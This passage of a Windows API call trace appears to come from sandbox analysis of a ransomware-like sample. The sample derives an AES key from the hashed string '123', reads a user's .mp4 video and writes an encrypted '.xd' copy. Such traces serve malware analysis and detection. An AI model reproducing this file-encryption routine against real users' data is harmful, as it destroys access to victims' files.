PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.331] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.331] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.331] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.331] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.331] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.331] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0068.332] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.332] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.332] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0068.332] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.332] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.332] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.332] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.332] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.332] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0068.332] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0068.332] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0068.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0068.333] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0068.333] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa098) returned 1 [0068.333] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.333] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.333] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0068.334] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.334] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.334] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.334] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.334] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.334] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.334] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.334] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.334] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.334] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0068.334] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.334] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.334] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.334] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.334] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.334] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.335] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.335] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.335] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.335] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.335] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.335] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.335] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.335] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.335] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.335] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.335] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.335] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.335] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0068.335] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0068.336] CryptCreateHash (in: hProv=0x17aa098, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0068.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.336] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0068.337] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.337] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.337] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.337] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.337] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0068.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0068.337] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0068.337] CryptHashData (hHash=0x164c7b0, pbData=0x1629660, dwDataLen=0x3, dwFlags=0x1) returned 1 [0068.337] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.337] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.337] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.337] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.338] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.338] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.338] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.338] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0068.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0068.338] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0068.338] CryptDeriveKey (in: hProv=0x17aa098, Algid=0x6610, hBaseData=0x164c7b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c670) returned 1 [0068.338] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.338] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.338] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.338] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.338] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.338] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.338] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0068.339] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0068.339] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0068.339] CryptDestroyHash (hHash=0x164c7b0) returned 1 [0068.339] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.339] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.339] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.339] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.339] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.339] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\kadhrhj0vaa a6d4kdd0.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0068.340] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.340] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0068.340] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.340] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.340] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.340] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv")) returned 0x10 [0068.340] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\kadhrhj0vaa a6d4kdd0.mp4.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0068.340] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.341] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.341] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.341] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.343] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0068.343] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0068.344] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x41a0, lpOverlapped=0x0) returned 1 [0068.345] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0068.348] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.348] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.348] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.348] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0068.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.349] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.349] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0068.349] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.349] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0068.349] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.349] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.349] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.349] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0068.349] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0068.352] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0068.352] CryptGetKeyParam (in: hKey=0x164c670, dwParam=0x7, pbData=0x1629640, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629640*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0068.352] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.352] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, 